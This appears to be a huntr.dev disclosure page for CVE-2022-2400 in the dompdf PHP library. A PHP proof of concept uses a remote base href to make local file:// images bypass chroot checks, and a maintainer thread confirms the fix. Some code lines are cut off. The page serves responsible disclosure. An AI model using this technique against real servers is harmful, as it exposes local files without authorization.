

# External Control of File Name or Path in dompdf/dompdf

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## Description

The Scenario 3 you described in this report (<https://huntr.dev/bounties/0bddd12-ff67-4815-ab9f-6011a974f48e/>) actually opens up the ability to bypass chroot checks.

## Proof of Concept

1: Make sure you install Dompdf from GitHub (<https://github.com/dompdf/dompdf/>) and include the following autoload.inc.php in dompdf/autoload.inc.php:

```
<?php
/**
 * @package dompdf
 * @link    http://dompdf.github.com/
 * @author  Benj Carson <benjcarson@digitaljunkies.ca>
 * @author  Fabien Ménager <fabien.menager@gmail.com>
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Publ
 */

// HMT5 Parser
require_once __DIR__ . '/lib/html5lib/Parser.php';

// Sabberworm
spl_autoload_register(function($class)
{
    if (strpos($class, 'Sabberworm') !== false) {
        $file = str_replace('\\', DIRECTORY_SEPARATOR, $class);
        $file = realpath(__DIR__ . '/lib/php-css-parser/lib/' . (empty($fil
        if (file_exists($file)) {
            require_once $file;
            return true;
        }
    }
}
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    }
    return false;
});

// php-font-lib
require_once __DIR__ . '/lib/php-font-lib/src/FontLib/Autoloader.php';

//php-svg-lib
require_once __DIR__ . '/lib/php-svg-lib/src/autoload.php';

/*
 * New PHP 5.3.0 namespaced autoloader
 */
require_once __DIR__ . '/src/Autoloader.php';

Dompdf\Autoloader::register();

```

- 2: With a sample image file cat.jpg in /var/www/html/cat.jpg, (find any photo will do):
- 3: Create vuln2.php:

```

<?php
// Include autoloader
require_once 'dompdf/autoload.inc.php';

// Reference the Dompdf namespace
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);

$dompdf = new Dompdf($options);

// Load HTML content
$dompdf->loadHtml('<base href="http://example.com">');

// (Optional) Setup the paper size and orientation

```

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$dompdf->setPaper( 'A4', 'landscape' );
```

```
// Render the HTML as PDF
```

```
$dompdf->render();
```

```
// Output the generated PDF to Browser
```

```
$dompdf->stream();
```

```
?>
```



If you visit the above in the browser you should see cat.jpg image being included into the PDF file even though chroot option is not set.

## Impact

This vulnerability is capable of bypassing chroot checks essentially leading to disclosure of png and jpeg files. This was tested with allow\_url\_fopen and on Linux. Additionally, this was tested on a fresh install of dompdf.

## Analysis:

This bug occurs because in Line 68:

```
$remote = ($protocol && $protocol !== "file://") || ($parsed_url['protocol'
```



```
($protocol && $protocol !== "file://") => True ( http:// !== file:// )
```

Therefore, the file:///var/www/html/cat.jpg will be treated as a remote file without the need for chroot checks.

CVE

CVE-2022-2400

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Vulnerability Type

CWE-73: External Control of File Name or Path

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Severity

Medium (5.3)

Affected Version

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Visibility

Public

Status

Fixed

Found by



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This report was seen 862 times.

We have contacted a member of the **dompdf** team and are waiting to hear back a year ago

**haxatron** a year ago

Researcher

Just a slight update to this, allow\_url\_fopen is not required as curl\_exec can use the file:// protocol.

A **dompdf/dompdf** maintainer validated this vulnerability a year ago

**haxatron** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **dompdf/dompdf** maintainer 7 months ago

Maintainer

This should be addressed in commit [ee5f3fd7](#).

A **dompdf/dompdf** maintainer marked this as fixed in 2.0.0 with commit [99aeec](#) 5 months ago

The fix bounty has been dropped ✗

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This vulnerability will not receive a CVE ✖

A [dompdf/dompdf](#) maintainer [4 months ago](#)

Maintainer

Will you be requesting a CVE for this vulnerability?

[haxatron](#) [4 months ago](#)

Researcher

@admin

[Jamie Slome](#) [4 months ago](#)

Admin

@maintainer - absolutely, would you like us to proceed with this?

A [dompdf/dompdf](#) maintainer [4 months ago](#)

Maintainer

Yes please do, thanks!

[Jamie Slome](#) [4 months ago](#)

Admin

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